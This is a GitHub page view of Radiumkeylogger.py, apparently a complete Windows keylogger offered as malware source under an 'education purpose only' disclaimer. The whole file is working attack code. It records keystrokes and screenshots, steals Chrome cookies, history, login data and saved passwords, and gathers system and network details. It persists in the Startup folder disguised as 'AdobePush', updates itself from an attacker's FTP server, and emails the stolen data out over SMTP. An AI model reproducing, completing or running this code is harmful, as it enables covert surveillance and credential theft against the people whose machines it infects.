-
Notifications
You must be signed in to change notification settings - Fork 179
/
Copy pathRadiumkeylogger.py
581 lines (489 loc) · 18.1 KB
/
Radiumkeylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
"""
____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____
_____ _ _ _ _
| __ \ | (_) | | | |
| |__) |__ _ __| |_ _ _ _ __ ___ | | _____ _ _| | ___ __ _ __ _ ___ _ __
| _ // _` |/ _` | | | | | '_ ` _ \ | |/ / _ \ | | | |/ _ \ / _` |/ _` |/ _ \ '__|
| | \ \ (_| | (_| | | |_| | | | | | | | < __/ |_| | | (_) | (_| | (_| | __/ |
|_| \_\__,_|\__,_|_|\__,_|_| |_| |_| |_|\_\___|\__, |_|\___/ \__, |\__, |\___|_|
__/ | __/ | __/ |
|___/ |___/ |___/
____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____
--> Coded by: Mehul Jain([email protected])
--> Github: https://github.com/mehulj94
--> Twitter: https://twitter.com/wayfarermj
--> For windows only
*For education purpose only.
"""
#Imported libraries
import os
import errno
import socket
import base64
import pyHook
import shutil
import signal
import smtplib
import urllib2
import getpass
import logging
import platform
import win32api
import pythoncom
import subprocess
import datetime
from ftplib import FTP
from PIL import ImageGrab
from email import Encoders
from Recoveries import Test
from contextlib import closing
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.MIMEMultipart import MIMEMultipart
#-----------------------
ip = base64.b64decode("") #IP to connect to FTP server
ftpkey = base64.b64decode("") #FTP password
ftpuser = base64.b64decode("") #FTP username
passkey = base64.b64decode("") #Password to connect to GMAIL smtp server
userkey = base64.b64decode("") #Username to connect to GMAIL smtp server
#-----------------------
buffer = ''
count_scr = 0
count_letter = 0
count_scremail = 0
check_count = 1234
SMTP_SERVER = "smtp.gmail.com" #SMTP server address
#-----------------------
filematch = 'ABCD.exe' #This name should be equal to exe that you'll upload in FTP folder. The current exe will update to this file
#-----------------------
directory = "/Radium" #The updated exe should reside in /Radium directory in FTP server
current_system_time = datetime.datetime.now() #Get current system time
#In this keylogger a folder "Intel" is made in C:\Users\Public\
#The keystrokes are saved in Logs folder by the name of IntelRST.txt
#Screenshots are saved in a folder inside Logs
#10 Screenshots are sent at a time and are moved to "ToZipScreenshots" for zipping them and send as attachment
path = "C:\Users\Public\Intel\Logs"
path_to_screenshot = "C:\Users\Public\Intel\Logs\Screenshots" #Screenshots are saved in this folder
path_to_cookies = "C:\Users\Public\Intel\Logs" #Cookies will be moved to this folder
dir_zip = "C:\Users\Public\Intel\Logs\ToZipScreenshots" #This folder will contain 10 screenshots and will zipped and sent as attachment
file_log = 'C:\Users\Public\Intel\Logs\IntelRST.txt' #Contains keystrokes
currentdir = os.getcwd() #Get current working directory
currentuser = getpass.getuser() #Get current User
try:
ip_address = socket.gethostbyname(socket.gethostname()) #Get Ip address
except:
pass
try:
os.makedirs(path)
os.makedirs(dir_zip)
os.makedirs(path_to_screenshot)
except OSError as exception:
if exception.errno != errno.EEXIST:
raise
#Function to check if the computer is connected to Internet
def internet_on():
try:
response = urllib2.urlopen('https://www.google.co.in', timeout=20)
return True
except urllib2.URLError as err:
pass
return False
def subprocess_args(include_stdout=True):
if hasattr(subprocess, 'STARTUPINFO'):
si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
env = os.environ
else:
si = None
env = None
if include_stdout:
ret = {'stdout:': subprocess.PIPE}
else:
ret = {}
ret.update({'stdin': subprocess.PIPE,
'stderr': subprocess.PIPE,
'startupinfo': si,
'env': env })
return ret
#Function to get the Process ID
def getpid(process_name):
return [item.split()[1] for item in os.popen('tasklist').read().splitlines()[4:] if process_name in item.split()]
#Function to get the Public IP
def getpublicip():
try:
return urllib2.urlopen('http://ip.42.pl/raw').read()
except:
pass
#Function to get the System information
def getsysinfo():
return platform.uname()
#Function to get the output of command ipconfig /all
def getipcnfg():
try:
ipcfg_file = 'C:\Users\Public\Intel\Logs\ipcfg.txt'
f = open(ipcfg_file, "w")
f.write(subprocess.check_output(["ipconfig", "/all"], **subprocess_args(False)))
f.close()
except Exception as e:
print e
#Function to get save passwords from browsers, ftp clients and other programs
def getpasswords():
passwords = Test.Result()
return str(passwords.run())
#Function to combine all the slave information and save in the info.txt file
def getslaveinfo():
slave_info = 'C:\Users\Public\Intel\Logs\info.txt'
open_slave_info = open(slave_info, "w")
try:
open_slave_info.write(getpasswords() + "\n")
except Exception as e:
print e
open_slave_info.write("\n------------------------------\n")
try:
open_slave_info.write(getpublicip() + "\n")
except Exception as e:
print e
open_slave_info.write("\n------------------------------\n")
try:
open_slave_info.write(' '.join(str(s) for s in getsysinfo()) + '\n')
except Exception as e:
print e
open_slave_info.close()
#Function to delete the old exe after updating the current exe in slave pc
def deleteoldstub():
checkfilename = 'AdobePush.exe' #The exe in the startup will be saved by the name of AdobePush. When the exe will be updated the old exe will be deleted.
checkdir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
dircontent = os.listdir(checkdir)
try:
try:
pids = getpid('AdobePush.exe')
for id in pids:
os.kill(int(id), signal.SIGTERM)
except Exception as e:
print e
if checkfilename in dircontent:
os.remove(checkdir + checkfilename)
except Exception as e:
print e
#Function to copy the exe to startup
def copytostartup():
try:
#-----------------------
originalfilename = "Radiumkeylogger.py" #This name should be equal to the name of exe/py that you create. Currently the name of this file is Radiumkeylogger.py
#-----------------------
#-----------------------
coppiedfilename = 'AdobePush.py' #The file will be copied to startup folder by this name
#-----------------------
copytodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
copyfromdir = currentdir + "\\" + originalfilename
filesindir = os.listdir(copytodir)
if coppiedfilename not in filesindir:
try:
shutil.copy2(copyfromdir, copytodir + coppiedfilename)
except Exception as e:
print e
except Exception as e:
print e
return True
#Function to list directories content upto 3 level
def DriveTree():
file_dir1 = 'C:\Users\Public\Intel\Logs\Dir_View.txt' #The drive hierarchy will be saved in this file
drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
no_of_drives = len(drives)
file_dir_O = open(file_dir1, "w")
for d in range(no_of_drives):
try:
file_dir_O.write(str(drives[d]) + "\n")
directories = os.walk(drives[d])
next_dir = next(directories)
next_directories = next_dir[1]
next_files = next_dir[2]
next_final_dir = next_directories + next_files
for nd in next_final_dir:
file_dir_O.write(" " + str(nd) + "\n")
try:
sub_directories = os.walk(drives[d] + nd)
next_sub_dir = next(sub_directories)[1]
next_sub_sub_file = next(sub_directories)[2]
next_final_final_dir = next_sub_dir + next_sub_sub_file
for nsd in next_final_final_dir:
file_dir_O.write(" " + str(nsd) + "\n")
try:
sub_sub_directories = os.walk(drives[d] + nd + '\\' + nsd)
next_sub_sub_dir = next(sub_sub_directories)[1]
next_sub_sub_sub_file = next(sub_sub_directories)[2]
next_final_final_final_dir = next_sub_sub_dir + next_sub_sub_sub_file
for nssd in next_final_final_final_dir:
file_dir_O.write(" " + str(nssd) + "\n")
except Exception as e:
pass
except Exception as e:
pass
except Exception as e:
pass
file_dir_O.close()
return True
#Function to send the data i.e. info.txt, chrome data, login data, screenshots
def sendData(fname, fext):
attach = "C:\Users\Public\Intel\Logs" + '\\' + fname + fext
ts = current_system_time.strftime("%Y%m%d-%H%M%S")
SERVER = SMTP_SERVER
PORT = 465
USER = userkey
PASS = passkey
FROM = USER
TO = userkey
SUBJECT = "Attachment " + "From --> " + currentuser + " Time --> " + str(ts)
TEXT = "This attachment is sent from python" + '\n\nUSER : ' + currentuser + '\nIP address : ' + ip_address
message = MIMEMultipart()
message['From'] = FROM
message['To'] = TO
message['Subject'] = SUBJECT
message.attach(MIMEText(TEXT))
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach))
message.attach(part)
try:
server = smtplib.SMTP_SSL()
server.connect(SERVER, PORT)
server.ehlo()
server.login(USER, PASS)
server.sendmail(FROM, TO, message.as_string())
server.close()
except Exception as e:
print e
return True
#Fucntion to steal chrome cookies
def cookiestealer():
cookiepath = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\Google\Chrome\User Data\Default'
cookiefile = 'Cookies'
historyfile = 'History'
LoginDatafile = "Login Data"
copycookie = cookiepath + "\\" + cookiefile
copyhistory = cookiepath + "\\" + historyfile
copyLoginData = cookiepath + "\\" + LoginDatafile
filesindir = os.listdir(path_to_cookies)
if copycookie not in filesindir:
try:
shutil.copy2(copycookie, path_to_cookies)
except:
pass
if copyhistory not in filesindir:
try:
shutil.copy2(copyhistory, path_to_cookies)
except:
pass
if copyLoginData not in filesindir:
try:
shutil.copy2(copyLoginData, path_to_cookies)
except:
pass
return True
#Function to move all the files that are to be sent via email to one place
def MoveAttachments(f_name):
arch_name = "C:\Users\Public\Intel\Logs\\" + f_name
if f_name == 'Screenshots':
files = os.listdir(arch_name)
try:
for i in range(10):
try:
shutil.move(arch_name + "\\" + files[i], dir_zip)
except Exception as e:
print e
except Exception as e:
print e
else:
try:
shutil.move(arch_name, dir_zip)
except Exception as e:
print e
#Function to zip the files
def ZipAttachments(f_name):
arch_name = "C:\Users\Public\Intel\Logs\\" + f_name + "Attachments"
files = os.listdir(dir_zip)
try:
shutil.make_archive(arch_name, 'zip', dir_zip)
except Exception as e:
pass
for j in range(len(files)):
try:
os.remove(dir_zip + "\\" + files[j])
except Exception as e:
print e
#Function to take screenshot
def TakeScreenShot():
ts = current_system_time.strftime("%Y%m%d-%H%M%S")
try:
scrimg = ImageGrab.grab()
scrimg.save(path_to_screenshot + '\\' + str(ts) + '.png')
except Exception as e:
print e
return True
#Function to upgrade the exe via ftp
def ftpupdate():
try:
chtodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
try:
os.chdir(chtodir)
except Exception as e:
print e
ftp = FTP(ip)
ftp.login(ftpuser, ftpkey)
ftp.cwd(directory)
for filename in ftp.nlst(filematch):
fhandle = open(filename, 'wb')
ftp.retrbinary('RETR ' + filename, fhandle.write)
fhandle.close()
if filematch in os.listdir(chtodir):
deleteoldstub()
except Exception as e:
print e
return True
#Function to send key strokes via email
def email():
log_text = open(file_log, "rb")
logtext = log_text.readlines()
len_logtext = len(logtext)
data = ""
if internet_on() == True:
for i in range(len_logtext):
data = data + logtext[i]
ts = current_system_time.strftime("%Y%m%d-%H%M%S")
SERVER = SMTP_SERVER
PORT = 465
USER = userkey
PASS = passkey
FROM = USER
TO = [userkey]
SUBJECT = "Keylogger data " + "from --> " + currentuser + " Time --> " + str(ts)
MESSAGE = data + '\n\nUSER : ' + currentuser + '\nIP address : ' + ip_address
message = """\
From: %s
To: %s
Subject: %s
%s
""" % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
try:
server = smtplib.SMTP_SSL()
server.connect(SERVER, PORT)
server.ehlo()
server.login(USER, PASS)
server.sendmail(FROM, TO, message)
data = ''
server.close()
log_text = open(file_log, 'w')
log_text.close()
except Exception as e:
print e
return True
#Catching the key strokes and emailing them
def OnKeyboardEvent(event):
global count_letter
global count_scr
global count_scremail
global buffer
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
if event.Ascii == 13:
buffer = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + buffer
logging.log(10, buffer)
buffer = ''
count_letter = count_letter + 1
count_scr = count_scr + 1
elif event.Ascii == 8:
buffer = buffer[:-1]
count_letter = count_letter + 1
count_scr = count_scr + 1
elif event.Ascii == 9:
keys = '\t'
buffer = buffer + keys
count_letter = count_letter + 1
count_scr = count_scr + 1
elif event.Ascii >= 32 and event.Ascii <= 127:
keys = chr(event.Ascii)
buffer = buffer + keys
count_letter = count_letter + 1
count_scr = count_scr + 1
if count_letter == 300:
count_letter = 0
email() #Keystrokes will be emailed after every 300 key strokes
if count_scr == 500:
count_scr = 0
TakeScreenShot() #Screenshot will be taken after 500 key strokes
count_scremail += 1
if count_scremail == 10:
count_scremail = 0
MoveAttachments('Screenshots')
ZipAttachments('Screenshots')
sendData('ScreenshotsAttachments', '.zip') #Screenshots will be emailed 10 at a time
return True
try:
copytostartup() #Copying the file to startup
except Exception as e:
print e
if internet_on() == True: #If internet is On
try:
if check_count == 1234:
check_count = 0
#Checking and updating the exe via ftp
try:
ftpupdate()
except Exception as e:
print e
#Sending the attachments Directory tree, History, Login Data, Cookies, IP config and save passwords
files_in_dir = os.listdir(path)
if "DHLCiAttachments.zip" not in files_in_dir:
DriveTree()
try:
cookiestealer()
except Exception as e:
print e
getipcnfg()
getslaveinfo()
#Moving the attachment before zipping them and send
try:
MoveAttachments('Dir_View.txt')
MoveAttachments('History')
MoveAttachments('Login Data')
MoveAttachments('Cookies')
MoveAttachments('ipcfg.txt')
MoveAttachments('info.txt')
except Exception as e:
print e
#Zipping the files
ZipAttachments('DHLCi')
#Sending the zip file
sendData("DHLCiAttachments", ".zip")
ts = current_system_time.strftime("%Y%m%d-%H%M%S")
SERVER = SMTP_SERVER
PORT = 465
USER = userkey
PASS = passkey
FROM = USER
TO = [userkey]
SUBJECT = currentuser + ' : Slave is connected '
MESSAGE = 'IP Address ---> ' + ip_address + '\nTime --> ' + str(ts)
message = """\
From: %s
To: %s
Subject: %s
%s
""" % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
try:
server = smtplib.SMTP_SSL()
server.connect(SERVER, PORT)
server.ehlo()
server.login(USER, PASS)
server.sendmail(FROM, TO, message)
data = ''
server.close()
except Exception as e:
print e
except Exception as e:
print e
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()